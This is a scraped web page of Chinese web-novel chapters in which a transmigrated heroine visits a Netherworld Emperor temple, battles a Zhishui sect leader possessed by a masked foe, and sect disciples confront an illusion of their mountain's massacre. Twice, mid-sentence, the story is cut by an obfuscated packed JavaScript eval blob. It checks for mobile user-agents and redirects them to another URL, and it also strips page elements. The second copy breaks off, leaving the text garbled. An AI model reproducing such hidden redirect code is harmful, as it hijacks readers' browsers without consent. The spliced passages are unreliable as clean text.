齐云鲤疑惑地望了很久,才确定眼前不是幻觉。 她指着冥帝庙问卫池:“那是什么时候有的?” “换人以后有的。”卫池瞟过去一眼,神色没有变化。 双方并没有交流过幽冥大帝换人一事,但眼下这个问题只有在这个前提下才成立。能明白这是什么意思,就说明前后两个幽冥大帝她都知道。 幽冥大帝换人是很久以前的事,久到让人误以为从始至终都是这一个。 但在换人之前,还发生一件相当凄惨的事。 以至于卫池觉得就是因为那件事,幽冥大帝才换人。 虽然时间久远但刻骨铭心,毕竟太过惨痛。 齐云鲤没有纠结换人的事,而是问:“那个庙又是谁盖的?” 虽然前后有数十个鼎山弟子交换魂魄,但卫池一直在尽力避免他们踏足此地。 毕竟之前闹得太大,后果不堪设想。 所以在此之前并没有人问过这件事。 如今事态愈发严重,避免这种事也无关紧要,因此他才会让那个青湖同行。 只是没想到她会问出这个问题。 千溪镇妖魔鬼怪众多,所以普通人对此也习以为常。 但是习惯这种事,不代表认命。 幽冥大帝震慑效果显著,因此幽冥十二泉都盖冥帝庙来供奉。 冥帝庙一起,幽冥大帝的震慑效果更明显,以至于孤魂野鬼都稀少很多。 原本老百姓还会被各种稀奇古怪的东西骚扰,冥帝庙一出,顿时安分不少。 所以冥帝庙才会香火旺盛。 大家全都诚心诚意感谢幽冥大帝庇护。 如今各地都有龙息骚动,幽冥十二泉因为有冥帝庙就显得格外安宁。 所以千溪镇的人也不再紧张害怕。 虽然还有不少琐碎麻烦,但是有地六镖局就基本不用操心。 “幽冥十二泉沿途都有,各地老百姓自行建造的。”卫池说明情况。 此言一出齐云鲤更加困惑,虽然幽冥大帝在帮自己,但对各地百姓还帮到这种程度实属罕见。 究竟发生什么事,有必要做到这一步? 卫池知道她想不明白,就说:“进去看看吧。” 于是一群人便走进冥帝庙歇脚。 冥帝庙里有不少香客,他们在那里求神拜佛,相当虔诚。 齐云鲤发现那些人的装扮明显贵重很多,看起来都不像本地人。 大老远跑过来祭拜,说明这个幽冥大帝赫赫有名。 她看向冥帝庙,就发现那里还是立着两尊雕像,与之前看到的如出一辙。 只不过这里的雕像更加精美,明显有专人保养。 雕像背后就是云烟缭绕的背景,还有仙鹤跟麒麟在其中穿梭,做工相当精细。 这种彩色石雕就不是一般人能做的。 不过此地愈发精雕细琢,齐云鲤愈发觉得曾经发生过什么极其严重的事,以至于必须做到这个地步。 小说里千溪镇最严重的事发生在仙子林,男主被引出内心深处的恐惧,让止水宗和人炉出现在阵法里。 之后又是止水宗前往他所在的村镇,将当地百姓屠戮殆尽。 幸亏男主父母敏捷果断,这才逃过一劫。 但那时男主父母还活着,现在卫池父母双亡,出现在那里的又会是什么? 他经历数次轮回,难道会被引出鼎山灭门惨案? 鼎山灭门惨案跟幽冥大帝又有什么关系? 齐云鲤怎么也想不通,以至于全程都愁眉苦脸。 其他人在此休息心安理得,她却仿佛一会儿就要坠入深渊。 卫池实在看不下去,就说:“这里水这么多,感觉可能要倒大霉。” “来这里除了倒大霉,难道还有其他事?”齐云鲤想起小说描写就开始举例说明,基本都是妖魔鬼怪作乱。 千溪镇地处幽冥十二泉,这类事情自然数不胜数。 不过卫池却说:“现在已经没有那些事。” “因为幽冥大帝?”齐云鲤相当疑惑。 卫池停顿片刻才说:“还有云玑子。” 齐云鲤转头看到雕像衣服上有鲤鱼在云间嬉戏,瞬间就感觉不吉利。 ——太像针对自己。 而且这个幽冥大帝还认识她,就感觉更加有可能。 虽然幽冥大帝帮她好几次,但那个雕像实在让人心里发毛。 不过救命之恩过于重大,齐云鲤再不喜欢云玑子雕像,也只能过去将之前收集的一些小玩意供奉上去。 金银财宝、大鱼大肉幽冥大帝都见怪不怪,也许不起眼的东西还没见过。 齐云鲤放好东西就听到鼎山弟子的话。 先是宋安合耐心讲解:“幽冥大帝很多做法都值得学习,而且与鼎山不冲突。只要学会以后适当调整,就有很多有效方法。” 这与修道门派的说法截然不同。 “比如说之前我去禁地救人,当时卫池情况恶劣,青湖师叔说之前突然出现阵法协助她,或许对他也有效。我就去阵法遗留位置捧起一把雪,洒到卫池那边,结果收效甚好。” 鼎山完全没有这种做法,因此其他鼎山弟子都很吃惊。 “……这还能有效?” “你怎么知道?” “这就是幽冥大帝的做法,”宋安合伸手示意那尊雕像,“施法布阵时,阵法所在之处会暂时残留一些阵法之力。之前能协助青湖师叔,那么之后也能稍微缓解一点伤势。” 这话听起来有理有据。 禁地龙息鼎盛,光是在龙息压迫下进去就困难重重。 如果还要施法疗伤,基本不可能。 后果可能是多死一个人。 不过运用禁地已有的阵法之力,就能明显改善这种困境。 此法在任何修道门派都不可能提及,因为那是拾取他人残羹冷炙。 可关键时刻就能发挥奇效。 “你是如何得知?”齐云鲤十分疑惑。 宋安合发现青湖师叔正在问自己,顿时吓出一身冷汗。修道门派很看重门下弟子修炼,一旦发现有人偷学其他术法,后果有点严重。 ——而如今他居然还跟其他人宣传这种事。 之前没有计较此事已经相当宽宏大量,结果他还当面说出来。 可能死都不知道怎么死的。 “弟子只是在冥帝庙有感而发,绝无二心。”宋安合的声音有点微弱。 他十分担心自己的下场,其他鼎山弟子见状也不免紧张起来。 毕竟上半年有三渺宗人偷学其他术法,被长老直接吊起来打。 但齐云鲤完全不在意这种事,她只是问:“你还能知道幽冥大帝的方法?” 宋安合见她紧盯幽冥大帝雕像,瞬间感觉还有希望,因此娓娓道来:“我家那边有个用木板搭的小庙,庙里就是幽冥大帝。有一天夜里我在庙旁休息,听到有人在说话,说的就是这类事情。” 幽冥大帝窃窃私语,结果被宋安合听到。 那时他已进入鼎山,只不过刚好有事回家。 听到这些事情,宋安合顿时觉得有用。之后回到鼎山,他便按照话里的方法操作,没想到真的有奇效。 修道门派很忌讳门下弟子学习其他术法,因此之前宋安合始终不敢施展。 直到去禁地救人,人命关天,再忌讳也要施救。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107320|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 所以他便使出幽冥大帝的术法。 “我之前研究过,这与鼎山道法不冲突。”宋安合赶紧解释。 不过齐云鲤想的是这种方法之前自己想过。 修道人士的修为天差地别,若是只按修为论事,那么一切都没必要存在,直接比较修为高低就行。 修为往往与出身有关,可千古留名的基本没有修为高深之人。 世人不是看身份,而是看他们的所作所为。 地位再低,功法再差,只要有一番作为就能千古传颂。 而那些遗世独立的世外高人,基本无人知晓。 修为高深之人毫无作为,那么再高的修为也是浪费。 若普通修道人士也能使用高深莫测之法,也就是天之道,损有余而补不足。 眼下宋安合的做法就是这么回事。 之前还觉得幽冥大帝只是可能跟元真有关,如今看来幽冥大帝就是元真。 这些事是穿书之前想的,齐云鲤只可能告诉身边的人。 她告诉元真,幽冥大帝则刚好知道这件事,还窃窃私语。 ——这不就证明二者是一人? 青湖师叔没有责怪,只是望着幽冥大帝出神。 宋安合也不知道是怎么回事,只能感慨青湖师叔并不看重常理。 齐云鲤愣了很久才回过神来,看到卫池皱起眉头瞪自己,就说:“休息好就出去吧。” 似乎完全不记得宋安合之前的话。 鼎山弟子休整完毕就离开冥帝庙,众人进入千溪镇,沿途都有人跟他们打招呼。 甚至还有人跟齐云鲤打招呼,她发现那边是个路边摊贩,便走过去一看。 那里正在煮面,老板见她过去便问这次要几碗。 齐云鲤发现这是个拉生意的好办法,便叫鼎山弟子都过去吃,反正下山之前刚好找出点钱带在身上。 虽然只是普通阳春面,但是在这种危机四伏的时候吃,倒是别有一番风味。 毕竟有时候平淡无味才最难得,即使很多人都会嫌弃。 众人走了一路,吃碗面也能补充体力,而且旁边就有一条小溪,显得很有生机活力,似乎能化解心中憋闷。 附近不是石板路,还有小草从角落里冒出来。 吃好之后,他们收拾碗筷又擦桌子,将四周弄得干干净净。 齐云鲤慷慨大方地付钱离开,而且给了正常价格的两倍。毕竟那个老板认识青湖,也算是他乡遇故知。 不过等走到前面的拐角处宋安合就问:“那些钱不用留下来给青滔师伯吗?” “……啊?”齐云鲤完全不知道还有这种事。 “听说原本是师叔你要住在白鹭坪,你求很久青滔师伯才同意住那边,”宋安合说得很详细,“不过每个月要给他一点报酬。” “……报酬有多少?”齐云鲤有点瑟瑟发抖。 “我也不清楚,不过是要去煅剑城买剑的。” “煅剑城的剑不是免费吗?”齐云鲤大惑不解,自己都是直接拿。 “青滔师伯要的太多,所以得收钱。” 齐云鲤看着手里的钱心情复杂,刚才已经花掉一半。以为是好事一件,结果是自己挖坑自己跳。 她只能皱眉问:“……月初还是月末?” “煅剑城每月下旬会派人过来送剑,钱估计都是师叔你出。”宋安合回答。 残酷事实就在眼前——现在已经下旬,回去不被打就已经相当不错。 虽然不会被打出问题,但发现又要被打实在不是好事。 齐云鲤感觉无论在千溪镇有没有出事,回去都会出事。 总不至于为了避免回去被打,她就先在千溪镇被打成重伤吧? 不过眼下已到地六镖局门口,看到那块牌匾,齐云鲤只能无可奈何。 门口站着一只大白鹅,发现鼎山弟子就冲过来啄,啄的时候还扇翅膀打人。 43. 两面的准备 地六镖局位于千溪镇东南方,门口也有一条蜿蜒小溪。 那只大白鹅原本还在水里怡然自得,谁知发现鼎山弟子就跳出小溪,冲过来啄人,同时还扇动翅膀打人。 鼎山弟子被大白鹅啄得没办法,只能先好言相劝,然后掏出一把玉米粒丢地上。大白鹅这才停止啄人,低头吃东西。 千溪镇内部,地六镖局所在位置最接近仙子林,因此极少有人靠近这边。而且飞禽走兽也不在此出没,但门口大白鹅完全无所畏惧,似乎还在看门。 鼎山弟子想趁它吃东西的时候进去,大白鹅就大叫起来。 嘎嘎嘎的仿佛是威胁。 见此情形,众人只好站在外面等大白鹅吃完东西。 吃完玉米粒大白鹅就化形为人,是个戴着橙色头巾的白衣男子,身材魁梧,看起来有点气势汹汹。 “这次的有点干。”苗安评价玉米粒。 李宜敏完全无所谓,还名正言顺地说:“水泽之地还是别吃太湿。” “这也算水泽之地?”苗安指着地六镖局门口的小溪。 “你刚才就在水里,还是吃点干的好。” 李宜敏常来地六镖局,因此跟门口大白鹅早已熟悉。她只负责看病,其他事都不管,苗安也不能拿她怎么样。 齐云鲤在旁边看到这一幕,不禁皱起眉头。 小说里虽然有千溪镇重头戏,不过对大白鹅没有明确描写,只是说地六镖局门口有只鹅。 没想到大白鹅居然是妖精,还跟李宜敏很熟。 这明显就不是小说内容,而且穿书者也没必要调整这种细节。 ——那怎么会有这种差异? 一连串小说里没有的东西让齐云鲤不祥之感再次上升,仿佛自己已经赶进医院,正在被推往手术室。 左看右看都像要出事,不过事已至此也无可奈何。 她只能转头问卫池:“你这次找孙峥湖算过吉凶吗?” 孙峥湖也算鼎山算命大师,但凡有什么大事他都能精准预测。 因此鼎山中人时常找他算命。 “他说没有大凶。”卫池说得很轻松。 但对齐云鲤来说,没有大凶就是可能有巨凶、极凶、大大凶。 坏事只会更大,不可能变小。 这个问题还不如不问。 她又怕起来,不过只能强装镇定跟众人走进地六镖局。 镖局内部就是普通院落,没有任何装饰,都是实用之物,跟罗白音风格一致。 有个手拿算盘的红衣女子走过来迎接他们,虽然在笑,但明显不好惹。 她是辈分较高的鼎山中人,虽然跟其他鼎山弟子还是以同辈相称,不过谁都明白惹不起。 镖局里各种妖精飞来跑去,她就仿佛是个镇场子的,因此谁都不敢乱来。 深红裙摆上有白色水波条纹,仿佛她就是一汪水,可以滋润万物,也能摧毁一切。 她叫花芙,是掌管地六镖局的人,幽冥十二泉的地六镖局都归她管。 虽然能温柔似水,不过大多数时候都洪水滔天。 因此只要有她在场,所有人都规规矩矩。 见到前辈,鼎山弟子赶紧打招呼,齐云鲤也跟着招呼一句。 不过平日气势汹汹的花芙反倒礼貌回礼,她身姿轻柔、话音婉转,仿佛是深宅大院里的大家闺秀。 只不过前脚才有几个人被她打出去,花芙正在算那几个人的账。 眼下这种态度实属罕见,李宜敏便指着苗安说:“怒伤肝,小心气过头,实在不行就打他。” 苗安刚想回嘴,就被花芙瞪一眼,只好假装没听见。 地六镖局能安慰呆在千溪镇,全靠花芙不好惹。 无论谁想挑事,都得掂量一下双方斤两,没有八成胜算就别贸然行事。 不然今天被三渺宗陷害,明天就被止水宗偷袭。 镖局里有不少人行动不便,而且年纪都不小,颤颤巍巍坐在廊下,而且周身都有少许烟云缭绕。 那是当地百姓送过来的病人,由于鼎山会定期派人过来,所以他们都等着医术高深的大夫救治。 缭绕云烟是确定身份的方法,只有事先通过鼎山弟子检查,周身才会出现这种标志。 李宜敏轻车熟路走过去诊治,陆顷己则在旁边配合治疗。 打过招呼,花芙就开始跟鼎山弟子介绍情况。 此地位于幽冥十二泉首泉,所以孤魂野鬼较多。虽有幽冥大帝震慑宵小,但问题还是层出不穷,顶多只是没那么严重。 因此地六镖局从早到晚都要处理事情,夜间还有人专门值班等候。 地六镖局最接近仙子林,所以也会受到阵法影响,虽然问题不大。 ——不过还是小心行事。 齐云鲤听到仙子林就感觉不对劲,于是指着外面问:“那边没问题吗?” 花芙一愣,点点头就说稍后详谈,搞得好像青湖还跟她合伙做生意。 齐云鲤搞不清怎么回事,但花芙这么说,她也只能在一边等着。 只能感慨下山以后各地都有认识青湖的人。 花芙在那边跟鼎山弟子介绍千溪镇情况,齐云鲤就坐在廊下休息,还能稍微看看陆顷己的治疗。 不过廊下病人神色逐渐轻松,那边卫池的面色却越来越凝重。 仿佛事情相当恶劣,已经超出预想,齐云鲤也不知道怎么回事。 直到谈话结束,卫池才走过来小声说:“止水宗会过来。” 虽然无凭无据,但这件事基本不会错。 之前齐云鲤还觉得会出事,现在就是必定要出事,而且是大事。 小说里的千溪镇只出现过三渺宗,并没出现止水宗。 那些人过来必定有利可图。 千溪镇明面上没有他们获利的地方,估计是暗地里有什么。 卫池专门说出这件事,看来曾经的轮回里并没发生过这种事。 眼下止水宗会来,齐云鲤只能确定面具人肯定会现身。 这里有个仙子林,八成会被利用。 齐云鲤正觉得事情越来越严重,花芙就走过来说出一句话。 “青湖师叔,仙子林里已安排妥当。” 声音很小,但是内容相当震撼。 仙子林里就没好事,还能安排什么? 青湖刻意吩咐此事,感觉有大事。 里面能引出人心深处恐惧的阵法最为出名,估计与此有关。 莫非还有什么令人恐惧的事极其关键。 齐云鲤搞不清楚,但不能表现出茫然无知,只好问:“有几成把握?” “之前能引出恐惧,现在还能引出恐惧的恐惧,也就是达到极致。”花芙分析结果,说得神乎其神。 听起来就没好事,正常人谁会干这种事? 恐惧的恐惧也就是恐怖至极。 花芙在这边稳住局面,按理来说不会做有害鼎山的事。 ——莫非这件事还对鼎山有利? 鼎山所恐惧的,感觉类似天地毁灭。 要是出现毁天灭地的幻象,那必然全军覆没。 有必要做到这个程度来对付的,似乎只有面具人。 齐云鲤实在无话可说,只能继续问:“几成?” “七成。”花芙说得相当认真。 七成把握已经不低,再疑惑也不好多说什么。 青湖这人在山上基本没人认识她,结果下山就有各种麻烦。 齐云鲤也不好说什么,只能感慨命里倒霉。 等这边谈话结束,卫池走过来后,她就发现还有更倒霉的事。 因为他说—— “千溪镇附近的阵法布局已经被人调整过,虽然明面上大差不差,但那些微小差异只会有利于止水宗。” 这就极其严重,调整阵法布局肯定有利于止水宗。 千溪镇这边最多也就是能获得一些龙息,没必要做到这一步。 还是说背后有人指使,难道是面具人? 之前的打斗他全都落败,所以想在千溪镇扭亏为盈。 齐云鲤越想越有可能,作者三人行心高气傲,基本想摆布一切。 小说写不下去就穿书修改,之前没赢过于是这次投入全部精力。 这样看起来似乎只能任人摆布,她很不甘心。 于是只好问:“孙峥湖不是说没问题?” 算命大师的吉凶预测绝对不会错。 “他只是说没有凶,”卫池停顿片刻才继续说,“但是也没有吉。” 听起来没有凶只是很客气的说法,这种结果也不会好。 齐云鲤只能垂死挣扎着问:“你怎么知道有利于止水宗?” “我以前调查过。”卫池话音肯定。 一个历经鼎山灭门轮回的人还能调查什么,反正没好事。 面具人为了扭亏为盈不择手段,就连止水宗都被他叫过来。 只能说幸亏青湖也早就有所准备,到时候天塌地陷就看死的是谁。 事情闹太大,别连累其他人就行。 齐云鲤心灰意冷地坐下:“我先休息一下。” 然后长叹一口气,感觉命不久矣。 之前在冥帝庙发现幽冥大帝和元真很可能是同一人,还以为是好兆头。 谁知如今发现没有死无全尸就是万幸。 别人穿书都是逆风 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鼎山弟子在镖局内熟悉完情况,李宜敏那边的诊治也彻底结束,于是众人便一起出门。 毕竟很多事还是亲自体验比较好,说得再多也不如实地考察。 这次的鼎山弟子有宋安合这种经验丰富者,也有一无所知的初学者。 因此他就说了一路,将沿途风景都跟修道联系起来。 地六镖局四周人烟稀少,不过走到隔壁那条街就明显热闹起来。虽然还是石板路和土路,但来来往往的人大多面带喜色。 这在小说里是绝不可能出现的。 那里的千溪镇基本就是人人自危的局面,不可能身心愉悦。 “无论怎么轮回,如今这个幽冥大帝都不会受到影响,”卫池略微感慨,“仿佛其他人都在绕圈,只有她是往前走。” 他有感而发,绝对不同寻常。 齐云鲤一听就发现问题,听起来两边就不在一个世界。 难道幽冥大帝是穿书者所以异于常人? 书里的人物跟着轮回,看书的人独自前行。 这么看来石月观音应该也一样。 而且她也是如此,之前石月观音说其他人消失不见,自己还一直躺在那里。 这就是与天地轮回截然不同,穿书者并不在书里。 仿佛轮回只出现在书里,穿书者不受书的影响。 这样看来,也就是幽冥大帝始终没达到理想效果,即使已经改变那么多。 如果已经达到目的,那就没必要再这么麻烦。 之前自己都没醒,现在才睁眼看世界。 难道幽冥大帝只是想救她,可是都已经掌管地府,还是无能为力? 齐云鲤又觉得事情不好起来,来到千溪镇就被吓来吓去,还没完没了。 为了转移注意力,她只好对沿途事物提问,鼎山弟子听到卫池的回答都很感兴趣,于是凑过来一起听。 卫池见鼎山弟子都已过来,就以之前在鼎山以外流浪为名,将千溪镇的前后变化详细说明。 众人走在石板路上边看边听,还时不时跟沿途百姓说两句,碰到麻烦又过去帮忙解决。千溪镇一时显得有点温馨,完全看不出背后危机。 不过齐云鲤明白温馨都是假象,只有出事才是必然。 眼下镇上百姓悠哉游哉,之后会变成什么样就不清楚。 想到这里她朝路边一看,突然发现有人步伐稳健还走得很快。 ——那种身手一看就是练过的。 明显练过,还不是鼎山中人,当然来者不善。 齐云鲤头疼起来,止水宗说来就来。 她赶紧过去告诉卫池,结果对方说来者起码有八个,黄云曳和两个止水宗的带着五个人炉。 齐云鲤只发现一人,卫池就连对方身份都彻底摸清,只能感慨经验丰富。 止水宗通过炼化人炉来获得功法,人炉通过吸收并转化龙息得到功法。 千溪镇龙息格外安分,以至于常人无法得到龙息之力。 因此人炉要在此地转化龙息,只能提前携带。 看起来就是止水宗之力无法源源不断,终有尽时。 小说里详细描述过男主跟止水宗的打斗,通篇阅读的齐云鲤觉得自己经验丰富,应该可以对付止水宗的人。 于是她让卫池跟鼎山弟子离开千溪镇,自己在这边拖住黄云曳。 止水宗最棘手的就是他,其他人都不足为惧。 黄云曳有人炉,但齐云鲤并不担心,总不至于他比蛟还难对付。 44. 止水宗 卫池主要就是担心鼎山弟子被连累,那个青湖能否对付黄云曳他完全不放在心上,毕竟已经跟面具人打过那么多次。 所以齐云鲤提出建议,他没有任何意见,马上就叫鼎山弟子跟自己走小路离开千溪镇。 不过卫池临走前提醒:“他只会偷袭。” 说得仿佛曾经没完没了的打斗事出有因,对方只会偷袭,所以一直偷袭。 无论如何都要找机会偷袭,只要还有一口气。 众人一离开,齐云鲤就把小说打斗描写回忆一遍,觉得就算黄云曳是人炉,拿她也没办法。 如果他有办法就没必要带人炉过来,即使有龙息储备,也多不到哪里去。 黄云曳是止水宗老大,在小说里跟男主打过好几次。每次都是出其不意,没有一次是以正面交锋开头。 虽然长得牛高马大,但总是在偷袭。 因此齐云鲤认为只要不被他偷袭得手,之后打起来自己应该不会落下风。 此地有冥帝庙坐镇,她也不怕被偷袭。 确定胜算不低,她就开始在千溪镇里绕起来。 既然对方想偷袭,那就让他无计可施。 而且千溪镇龙息之力难以获得,那么可以直接获取的龙息在此就很少见。 去过禁地好几次,她已经带有不少龙息在身上。 止水宗想要龙息,跟她来就行。 只不过偷袭的机会绝不会出现。 于是齐云鲤露出明晃晃的龙息,在千溪镇绕起来。四周时常见到溪流,受沉降之力影响,龙息更加蛰伏,更难获取。 所以止水宗几人必须跟在后面一刻不停。 齐云鲤步伐很快,那些人就脚步不停,绕完大半个千溪镇才停止前行。 偷袭往往需要以逸待劳,如今走得太远,谁也没精力偷袭。 停下来的地方是空无一人的小巷,在四周布阵就能防止双方打斗伤及无辜。 她发现还有两个止水宗的不在这里,估计是跟在鼎山弟子后面。 不过止水宗人修为不高,挑不起太大风浪,因此齐云鲤就没放在心上。 毕竟止水宗老大就在这里,还带着五个人炉。 ——可惜已经错失偷袭机会。 她冲上前就跟黄云曳打起来,此地龙息无法获取,黄云曳不能及时补充力量,因此就只是单纯拳打脚踢。 但是齐云鲤在白鹭坪的挨打经验丰富,对此早就习以为常。 因此双方打斗僵持不下。 修道人士大多不擅长赤手空拳,可此时在巷子里打斗的两人都经验丰富,谁都没有施展功法,但谁也没有退让。 僵持太久黄云曳似乎忍无可忍,于是施法布阵想趁齐云鲤的转身间隙偷袭,结果偷袭过去就有凭空出现的阵法挡住攻击。 这是幽冥大帝的阵法,所以齐云鲤无所顾忌。 不过对方已经使出功法,她就没必要再赤手空拳,于是两人各自施展招式打起来。巷子里一时寒风呼啸,一时烈焰滔天,都是很消耗功法的招式。 就算人炉在不远处,也不能支撑太久。 齐云鲤毫不担心落败,因为人炉与龙息要保持平衡,就不能消耗太多功法。一旦超出范围,失去平衡的人炉就可以遭受极大痛苦。 她与黄云曳大张旗鼓地打,那么功法消耗就会很快。 与其说是打斗,不如说眼下是在比谁的命更硬,跟蛟打过两三次的齐云鲤觉得自己的命应该更硬。 毕竟那是世间除了龙形以外的最强形态。 打完一炷香,黄云曳实在消耗不起,挡住一个攻击就再也无能为力。他停在那里气喘吁吁,累得精疲力尽。 龙息沉降之处不利于人炉,在千溪镇动武就类似扬汤止沸,下面的柴火还在烧,上方的沸水再舀起又倒回也无济于事。 人炉能在龙息压迫处若无其事,其实也就是人炉需要龙息,通过不断吸收龙息来获得平衡。 千溪镇没有人炉能够利用的龙息,所以人炉只能不断消耗自身龙息,最终龙息枯竭,人炉衰亡。 捉拿止水宗老大的机会齐云鲤没兴趣,只是派他过来的面具人需要谨慎对待。 于是她过去想用阵法封锁黄云曳四周,以免他趁机逃脱。 但就在这时黄云曳猛抬头,眼里闪过一丝黑烟,然后打出一个裹胁着风刃的攻击阵法。 齐云鲤猝不及防就被迎头痛击,然后发现这是面具人的招式。 黄云曳四周缭绕着几缕黑烟,仿佛就是作者立在那里。 之前的打斗还算合理,不过接下来没有稀奇古怪的事那就不可能。 附身之术对面具人来说不过家常便饭,因此黄云曳身手灵活地仿佛不再因龙息枯竭而困顿。 可是与此同时,不远处的五个人炉突然全部跪倒在地,呼吸不畅。 齐云鲤想到卫池之前说阵法布局已经被调整,感觉人炉倒地就是因此而已。 普通人只能用人炉炼化功法,可面具人还能炼化人炉之火。 被调整过的阵法布局只会有利于他。 因此以前一对一都容易产生偏差,现在一对五也顺利通畅。 眼看那五个人炉就要断气,齐云鲤没有争强好胜之心,但是不能不管。 虽然千溪镇龙息沉降,但有龙息就有元气。 龙息无法使用,或许元气还可以。 因此在面具人炼化人炉之火时,齐云鲤就开始运用元气。 虽然不熟练,但千溪镇元气是真的多,略微施法就有无穷元气汇聚过来。 等人炉之火喷涌而出时,元气凝成的气团也冲出去。 原本两边实力相当,不相上下。 但齐云鲤这边还有源源不断的元气,即使先出去的略显薄弱,但之后还有成千上万,应有尽有。 因此在铺天盖地的元气下,人炉之火也只能熄灭。 人炉之火熄灭,面具人还在这里。 于是齐云鲤又调转元气向他进攻,面具人完全不通元气,惨遭痛击也毫无还手之力,最后只能从黄云曳那里紧急撤离。 反正在这边只需要热身。 面具人撤离,齐云鲤并不急着困住黄云曳,而是赶紧用元气之力给那五个人炉恢复体力。 炼化人炉之火是一件相当要命的事,基本只有死法差异,没有死活区别。 人炉来到龙息沉降的千溪镇,还要用龙息转化出功法,是件相当危险的事。 面具人在此基础上还炼化人炉之火,人炉最后可能都会死无全尸。 齐云鲤曾经住院治疗,所以知道在这种生死关头千万不能停。就像重症患者心跳停止,医护人员还得心肺复苏一样。 能救一个是一个,管他是否抵达鬼门关。 在全力施救下,五个人炉可算死里逃生。 齐云鲤虽然精疲力竭,但还是过去询问情况。 人炉不清楚止水宗具体策略,只是说好像要在仙子林下手。 齐云鲤差点就气厥过去,还以为在这里拖住黄云曳就万事大吉。没想到是黄云曳拖住她,另外两个止水宗人八成是去施法布阵。 她说另外两个人怎么完全没跟过来。 仙子林已经有个相当诡异的阵法,在此基础上只会不可想象。 万般无奈下,她只能劝说人炉不用再回止水宗,直接去千溪镇地六镖局就行。 为明确身份,齐云鲤还在那五人身上施法。 到时候鼎山弟子一看到这种若有若无的烟云,就知道确定身份已完成。 人炉万分感谢齐云鲤,虽然他们还有些虚弱,不过已经没有生命危险。 在此之前谁都不会做这种事。 最后他们问龙息怎么办,齐云鲤就说元气也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一个鼎山弟子面色紧张,看起来那是他的恐惧。 不过之后眼前又变成其他模样,先是有人在四周找一圈也没找到食物,只能垂头丧气走回家,而家里还有饿肚子的老人。 然后变成有人被富家大少按在地上辱骂,四周站着不少人,但是谁都没帮忙。 鼎山弟子站在原地,地上那人还抬头向他们看一眼。 ——眼底带着愤恨和羞辱。 仙子林阵法里的幻象能跟阵法中人产生联系,阵法里的人不仅是旁观者,而是正在参与眼前的一切。 ——他们就是幻象里的一员。 那些受苦受难的人就在他们面前,但没有人伸手帮忙。 毕竟谁都知道,那都是假的。 只是曾经的困苦出现在眼前。 那些虽然还压在心上,但现在已在鼎山修道,再苦再累都经历过。 他们站在那里,就证明痛苦走到头还是能开花。 即使昔日苦痛无法彻底放下,但一切都不会再来。 一时间鼎山弟子松了口气,毕竟再怎么苦都已经过去。 可是等到最后一个幻象出现时,谁都不敢出声,只是在原地瑟瑟发抖。 ——因为他们看到的是鼎山灭门之景。 尸骸遍野,血流满地,高耸入云的那座山仿佛就是坟场。 往日的青翠草木不是被砍断,就是被碾碎。 不知道遭受什么灾难,以至于从山脚到山顶一路都是鼎山弟子尸首。 甚至还有人认出自己的脸,那个人倒在树下,上半身被劈成两半。 以前没感觉人多,但现在沿途都是尸体,没完没了。 左看右看都是尸体,人人皆是战斗状态。 ——仿佛那些人是在阻拦什么。 越接近山顶,死尸越多,四周环境也被破坏得越严重。 看起来像是打得越来越激烈,所有鼎山弟子都在对抗同一件事。 尸体最多的地方是飞泉院,不过那里还站着一个人,就是卫池。 周遭都是尸体,只有他一身血污立在院子里。 45. 阵法幻境 其实曾经的轮回并没有那么多细节,只是莫名其妙灭门,突然尸骸遍野、血流满地,其他什么也不清楚。 即使轮回很多次,卫池也不明白究竟发生什么。 每次回过神来时,鼎山已无人生还。 但这次的幻境格外逼真,仿佛有人细致考察过。 当时他站在飞泉院里,不过现在能看到鼎山上下的情景。从山脚到山顶,一路都是鼎山弟子尸体,看起来像是在对抗什么。 似乎有人想爬上山顶,他们绝不允许。 卫池并没想过这种事,还以为大家都是莫名其妙地死。 可如今看来,所有人都知道发生什么,并且展开殊死搏斗。虽然自己在飞泉院一无所知,但并不是什么都没发生。 飞泉院外的殊死搏杀从山脚一路向上。 从鼎山山脚到山顶的龙息愈发浓烈,以至于在禁地达到顶峰。 看起来像是有人从山脚往上走,最后在飞泉院被彻底挡住。即使那里遍地尸体,但只要还有人活着,只要还有一口气,外人就不可能突破飞泉院的阻挡。 ——也就无法走到禁地。 卫池片刻分析出具体情况,然后就听到鼎山弟子连声惊呼。 “这是出了什么事,谁要上鼎山?!” “像是一路挡一路杀……” “杀到飞泉院才停下来?” 就算早已确定仙子林里只有幻象,可无论是谁都无法再保持冷静。 毕竟鼎山从未发生此事,这个幻境不是过去。 既然不是过去,那就有可能是并不遥远的将来。 仙子林阵法能让幻境与阵法中人互相影响,阵法中人参与越多,阵法幻象就愈发逼真,甚至分不清虚实。 之前鼎山弟子没做出反应,也是因此而已。 可如今人人惊魂未定,幻象就会让众人身临其境。 既是眼前幻境,也是身边切实发生之事。 当下他们就身处尸骸遍野的鼎山,周遭全是尸体,不知道发生什么。 虽地处偏远但鼎山有护山大阵,外部力量始终无法介入。 鼎山龙息又令四周妖魔鬼怪闻风丧胆。 因此从未发生如此骇人听闻的事。 鼎山弟子还在纠结,但卫池已经拔剑。 仙子林阵法能达到这种效果闻所未闻,估计跟止水宗有关。 之前引他们进入仙子林,看来就是为了让众人体验鼎山灭门。 灭门惨案他也是经历好几次才承受下来。 第一次看到这种事,没被吓死已是万幸。 而且这个幻境里的杀伤力,必然不是常人能够抵挡。 如此布局,不可能只是为了吓人。 有什么东西走上山路,虽然肉眼不可见,但离得最近的鼎山弟子已遭到攻击。 “这是真的伤,不是幻觉!”李宜敏大喊。 陆顷己马上翻出医药,若此时用功法疗伤,纯粹就是找死。 他们两个冲过去疗伤,其他人才猛然察觉异样。 